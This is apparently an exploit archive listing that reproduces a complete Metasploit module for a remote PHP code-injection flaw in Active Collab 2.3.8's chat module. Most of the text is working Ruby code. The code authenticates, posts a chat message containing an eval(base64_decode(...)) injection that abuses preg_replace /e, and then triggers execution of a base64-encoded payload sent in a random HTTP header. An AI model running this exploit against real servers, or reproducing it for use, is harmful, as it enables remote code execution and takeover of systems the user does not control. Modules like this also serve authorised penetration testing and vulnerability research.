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Active Collab "chat module" 2.3.8 Remote PHP Code Injection

Active Collab "chat module" 2.3.8 Remote PHP Code Injection
Posted May 22, 2012
Authored by mr_me | Site metasploit.com

This Metasploit module exploits an arbitrary code injection vulnerability in the chat module that is part of Active Collab by abusing a preg_replace() using the /e modifier and its replacement string using double quotes. The vulnerable function can be found in activecollab/application/modules/chat/functions/html_to_text.php.

tags | exploit, arbitrary, php
advisories | OSVDB-81966
MD5 | bb5dd6f386c14e61316d4ebca6557bff

Active Collab "chat module" 2.3.8 Remote PHP Code Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
'Description' => %q{
This module exploits an arbitrary code injection vulnerability in the chat module
that is part of Active Collab by abusing a preg_replace() using the /e modifier and
its replacement string using double quotes. The vulnerable function can be found in
activecollab/application/modules/chat/functions/html_to_text.php.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module
],
'References' =>
[
['OSVDB', '81966'],
['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'May 30 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
OptString.new('PASS',[true, "The password to authenticate with"])
],self.class)
end

def check

login_path = "public/index.php?path_info=login&re_route=homepage"
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"

cms = send_request_raw({'uri' => uri}, 25)

uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

chat = send_request_raw({'uri' => uri}, 25)

# cant detect the version here
if (cms and cms.body =~ /powered by activeCollab/)
# detect the chat module
if (chat and chat.code == 200)
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end

def exploit
user = datastore['USER']
pass = datastore['PASS']
p = Rex::Text.encode_base64(payload.encoded)
header = rand_text_alpha_upper(3)
login_uri = datastore['URI']
login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

# login
res = send_request_cgi({
'method' => 'POST',
'uri' => login_uri,
'vars_post' =>
{
'login[email]' => user,
'login[password]' => pass,
'submitted' => "submitted",
}
}, 40)

# response handling
if res.code == 302
if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
acsession = $1
end
elsif res.body =~ /Failed to log you in/
print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")
elsif res.code != 200 or res.code != 302
print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")
end

# injection
iuri = datastore['URI']
iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
iuri << "?path_info=chat/add_message&async=1"
phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
injection = "<th>\");#{phpkode}</th>"
cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
res = send_request_cgi({
'method' => 'POST',
'uri' => iuri,
'headers' =>
{
'cookie' => cookies
},
'vars_post' =>
{
'submitted' => "submitted",
'message[message_text]' => injection,
'message[chat_id]' => "1",
'message[posted_to_user_id]' => "all"
}
}, 25)

euri = datastore['URI']
euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
euri << "?path_info=/chat/history/1"

# execution
res = send_request_cgi({
'method' => 'POST',
'uri' => euri,
'headers' =>
{
header => p,
'cookie' => cookies
}
})
end
end

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